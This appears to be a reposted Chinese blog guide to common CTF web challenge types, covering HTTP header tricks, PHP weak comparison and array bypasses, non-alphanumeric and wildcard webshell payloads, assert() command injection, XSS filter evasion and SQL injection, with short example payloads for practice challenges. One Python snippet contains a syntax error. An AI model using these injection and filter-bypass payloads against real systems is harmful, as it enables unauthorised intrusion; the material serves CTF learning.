CTF中Web題目的常見題型及解題姿勢


基礎知識類題目

考察基本的查看網頁源代碼、HTTP請求、修改頁面元素等。

這些題很簡單,比較難的比賽應該不會單獨出,就算有因該也是Web的簽到題。

實際做題的時候基本都是和其他更復雜的知識結合起來出現。

姿勢:惡補基礎知識就行

 

查看網頁源代碼

按F12就都看到了,flag一般都在注釋里,有時候注釋里也會有一條hint或者是對解題有用的信息。

BugKu web2:http://123.222.333.12:8002/web2
BugKu web3:http://123.222.333.12:8002/web3

 

發送HTTP請求

可以用hackbar,有的也可以寫腳本。

BugKu web2基礎$_GET:http://123.222.333.12:8002/get/
BugKu web2基礎$_POST:http://123.222.333.12:8002/post/
BugKu 點擊一百萬次:http://123.222.333.12:8002/test/

舉個腳本的例子(題目是Bugku web基礎$_POST):

import requests
r = requests.post('http://123.222.333.12:8002/post/',data=['what' : 'flag'])
print(r.text)

 

 

不常見類型的請求發送

以前做過一道題考OPIONS請求,可惜題目找不到了,而且那道題也不算很基礎。

不過如果要發送這類請求,寫一個腳本應該就能解決了。

 

HTTP頭相關的題目

主要是查看和修改HTTP頭。

目前做過的web題目有很大一部分都是與HTTP頭相關的,而且這種題目也相當常見,

不和其他知識結合的情況下也算事屬於基礎題的范疇吧。

姿勢:不同的類型有不同的利用方法,基本都離不開抓包,有些簡單的也可以利用瀏覽器F12的網絡標簽解決。但是最根本的應對策略,是

熟悉一些常見請求頭的格式、作用等,這樣考題目的時候就很容易知道要怎么做了。

 

查看相應頭

有時候響應頭里會有hint或者題目關鍵信息,也有時候會直接把flag放在響應頭里給,但是直接查看響應頭拿flag的題目不多,

因為太簡單了。

知識查看的話,可以不用抓包,用F12的“網絡”標簽就可以解決了。

BugKu 頭等艙:http://123.222.333.12:8002/hd.php

 

 

修改請求頭、偽造Cookie

常見的有set-cookie、XFF和Referer,總之考法很靈活,做法比較固定,知道一些常見的請求頭再根據題目隨機應變就沒問題了。

有些題目還需要偽造cookie,根據題目要求做就行了。

可以用Burp抓包,也可以直接在瀏覽器的F12“網絡”標簽里改。

 

Git源碼泄露

flag一般在源碼的某個文件里,但也有和其他知識結合、需要進一步利用的情況,比如XCTF社區的mfw這道題。

姿勢:GitHack一把梭

 

python爬蟲信息處理

這類題目一般都是給一個頁面,頁面中有算式或者是一些數字,要求在很短的時間內求出結果並提交,如果結果正確就可以返回flag。

因為所給時間一般都很短而且計算比較復雜,所以只能寫腳本。這種題目的腳本一般都需要用到requests庫BeauifulSoup庫(或者re庫(正則表達式)),個人感覺使用BeautifulSoup簡單一些。

姿勢:requests庫和BeautifulSoup庫熟練掌握后,再多做幾道題或者寫幾個爬蟲的項目,一般這類題目就沒什么問題了。主要還是對BeautifulSoup的熟練掌握,另外還需要一點點web前端(html)的知識

Bugku 秋名山老司機: http://123.206.87.240:8002/qiumingshan/#這道題的腳本如下,還可以繼續優化
#經常出現執行了但是不彈flag的情況,多試幾次就行了
from bs4 import BeautifulSoup
import requests

r = requests.Session()
s = r.get("http://123.206.87.240:8002/qiumingshan/")
s.encoding = 'utf-8'
text = s.text
soup = BeautifulSoup(text)
tag = soup.div
express = str(tag.string)
express = express[0 : -3]
answer = eval(express)
ans = {"value" : answer}
flag = r.post('http://123.206.87.240:8002/qiumingshan/', data = ans)
print(flag.text)實驗吧 速度爆破: http://www.shiyanbar.com/ctf/1841

 

HGAME2019的部分題目似乎還出現了反爬蟲措施,但當時我還不會寫爬蟲,那一道題目也沒有做,所以也不大清楚,以后如果再遇到那類題目再慢慢補上吧。

 

PHP代碼審計

代碼審計覆蓋面特別廣,分類也很多,而且幾乎什么樣的比賽都會有,算是比較重要的題目類型之一吧。

姿勢:具體問題具體分析,歸根結底還是要熟練掌握PHP這門語言,了解一些常見的會造成漏洞的函數及利用方法等。

 

PHP弱類型hash比較缺陷

這是代碼審計最基礎的題目了,也比較常見。

典型代碼:

if(md5($a) == md5($b)) {    //注意兩個等號“==”
    echo $flag;
}

 

加密函數也有可能是sha1或者其他的,但是原理都是不變的。
這個漏洞的原理如下:

== 在進行比較的時候,會先將兩邊的變量類型轉化成相同的,再進行比較。
0e在比較的時候會將其視作為科學計數法,所以無論0e后面是什么,0的多少次方還是0。

所以只要讓a和b在經過相應的函數加密之后都是以0e開頭就可以。
以下是一些md5加密后開頭為0e的字符串:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

aabg7XSs

另外,這個也可以用數組繞過,這個方法在下面會詳細說。

 

數組返回NULL繞過

PHP絕大多數函數無法處理數組,向md5函數傳入數組類型的參數會使md5()函數返回NULL(轉換后為False),進而繞過某些限制。
如果上面的代碼變成:

if(md5($a) === md5($b)) {       //兩個等號變成三個
    echo $flag;
}

那么利用弱類型hash比較缺陷將無法繞過,這時可以使用數組繞過。
傳入?a[]=1&b[]=2 就可以成功繞過判斷。
這樣的方法也可以用來繞過sha1()等hash加密函數相關的判斷,也可以繞過正則判斷,可以根據具體情況來靈活運用。

 

正則表達式相關

ereg正則%00截斷

ereg函數存在NULL截斷漏洞,使用NULL可以截斷過濾,所以可以使用%00截斷正則匹配。

Bugku ereg正則%00截斷:http://123.206.87.240:9009/5.php

 數組繞過

正則表達式相關的函數也可以使用數組繞過過濾,繞過方法詳見數組返回NULL繞過。

上面那道題也可以用數組繞過。

 單引號繞過preg_match()正則匹配

在每一個字符前加上單引號可以繞過preg_match的匹配,原理暫時不明。
例如有如下代碼:

 

<?php
    $p = $_GET['p'];
    if (preg_match('/[0-9a-zA-Z]{2}/',$p) === 1) {
        echo 'False';
    } else {
        $pp = trim(base64_decode($p));
        if ($pp === 'flag.php') {
            echo 'success';
        }
    }
?>

 

payload:p='Z'm'x'h'Z'y'5'w'a'H'A'=

 不含數字與字母的WebShell

如果題目使用preg_match()過濾掉了所有的數字和字母,但是沒有過濾PHP的變量符號$,可以考慮使用這種方法。

典型代碼:

 

<?php 

include'flag.php'; 

if(isset($_GET['code'])){ 
   $code=$_GET['code']; 
   if(strlen($code)>50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9_]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; 
?>

 

這種方法的核心是字符串的異或操作。

爆破腳本:

chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']

for i in chr1 :
    for j in chr2 :
        print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

根據題目的要求,用異或出來的字符串拼出合適的Payload,並放在PHP變量中執行。變量名可以用中文。
比如這道題的Payload:?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

 

Linux通配符繞過正則匹配

 

典型代碼如下,與前一種題目非常相似,但也不大一樣:

 

<?php 

if(isset($_GET['code'])){ 
   $code=$_GET['code']; 
   if(strlen($code)>50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9_$]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
//flag in / 
?> 

 

最主要的區別就是過濾了$和_,也就是說無法使用變量符號$了。
這時候可以考慮采用通配符繞過。
通配符有點像正則表達式,有自己的匹配規則,看這張圖:

 

 

 

所以構造一下通配符就是/???/??? /*。
因為過濾了變量符號,沒法通過上面那種方法來執行了。但是,可以通過閉合PHP標記來執行,也就是:?><?=/???/??? /*?>(/bin/cat /*)。
所以本題的payload為:?code=?><?=/???/??? /*?>
具體解法可以參照此篇文章的前兩道題目:https://www.jianshu.com/p/ecc2414ec110

 

命令執行漏洞

 assert()函數引起的命令執行

ssert函數的參數為字符串時,會將字符串當做PHP命令來執行。
例如:assert('phpinfo()')相當於執行<?php phpinfo() ?>
以一道題目為例:
本題目中題目文件夾下放置了一個隱藏的flag文件。

 

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if($_GET['file'] === "flag"){
        highlight_file("flag.php");
    }else{
        $page = $_GET['file'];
    }
} else {
    $page = "./flag.php";
}

assert("file_exists('$page')");
?>

 

解法:
構造閉合 file_exists()函數,並使assert()執行惡意代碼。
Linux命令ls -a可用於查看該目錄下所有文件,包括隱藏文件。

payload:

?file=123') or system('ls -a');#
?file=123') or system('cat .ffll44gg');#

 

 

XSS題目

這類題目會涉及到三種XSS類型,具體類型要根據題目來判斷。一般都是向后台發送一個帶有XSS Payload的文本,在返回的Cookie中含有flag,解法是在XSS Payload。
這類題目一般都會帶有過濾和各種限制,需要了解一些常用的繞過方法。
姿勢:XSS歸根結底還是JavaScript,JavaScript的威力有多大,XSS的威力就有多大。要知道一些常用的XSS Payload,還要把三類XSS的原理弄明白。做題時需要用到XSS平台,網上有公用的,也可以自己在VPS上搭一個。

JavisOJ babyxss:http://web.jarvisoj.com:32800/

 

繞過waf

其實絕大多數比較難的題目多多少都會對輸入有過濾,畢竟在現實的網絡中肯定是會對輸入進行限制的,但是這里還是把過濾單獨列出來了。
姿勢:多掌握一些不同的繞過方法。

 

長度限制

有些題目會要求輸入較長的文本,但對文本的長度進行了限制。
對於這種題目,既可以用BurpSuite抓包改包繞過,也可以直接在F12里改頁面源代碼。

Bugku 計算器(修改頁面源代碼):http://123.206.87.240:8002/yanzhengma/
DVWA 存儲型XSS的標題欄會對長度進行限制,使用BurpSuite抓包繞過。

 

 

雙寫

雙寫可以繞過對輸入內容過濾的單次判斷,在XSS、SQL注入和PHP代碼審計的題目中比較常見。
雙寫顧名思義就是將被過濾的關鍵字符寫兩遍,比如,如果要添加XSS Payload,又需要插入<script>標簽,就可以構造如下的Payload:<scr<script>ipt>來繞過對<script>標簽的單次過濾限制。
這樣的方法不僅對XSS有用,也可以用於代碼審計和SQL注入。
HGAME2019有一道XSS題目就是過濾了<script>,可以用雙寫繞過。

 

等價替代

就是不用被過濾的字符,而使用沒有被過濾卻會產生相同效果的字符。

比如,如果SQL注入題目中過濾了空格,可以用/**/繞過對空格的限制;XSS題目如果過濾了<script>標簽,可以使用其他類型的payload;如果需要使用cat命令卻被過濾,可以使用tac、more、less命令來替代等。

 

實驗吧 簡單的SQL注入:http://www.shiyanbar.com/ctf/1875

 

 

URL編碼繞過

如果過濾了某個必須要用的字符串,輸入的內容是以GET方式獲取的(也就是直接在地址欄中輸入),可以采用url編碼繞過的方式。比如,過濾了 cat,可以使用 c%61t來繞過。

 

Linux命令使用反斜杠繞過

在Linux下,命令中加入反斜杠與原命令完全等價。例如,cat與 ca\t兩條命令等價,效果完全相同。
可以利用這個特性來進行一些繞過操作(當然,這個僅限於命令執行漏洞)。

 

URL二次解碼繞過

這個類型本來應該放在代碼審計里面,但是既然是一種繞過過濾的姿勢,就寫在這里了。
如果源碼中出現了urldecode()函數,可以利用url二次解碼來繞過。
以下是一些常用的HTML URL編碼:

Bugku urldecode二次編碼繞過:http://123.206.87.240:9009/10.php

 

 

 

數組繞過

詳見PHP代碼審計的“數組返回NULL”繞過。
數組繞過的應用很廣,很多題目都可以用數組繞過。

SQL注入

SQL注入是一種靈活而復雜的攻擊方式,歸根結底還是考察對SQL語言的了解和根據輸入不同數據網頁的反應對后台語句的判斷,當然也有sqlmap這樣的自動化工具可以使用。
姿勢:如果不用sqlmap或者是用不了,就一定要把SQL語言弄明白,sqlmap這樣的自動化工具也可以使用。

 

使用sqlmap

sqlmap的應用范圍還不大明確,我都是如果sqlmap沒法注入就手工注入。

sqlmap教程:https://www.jianshu.com/p/4509bdf5e3d0

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM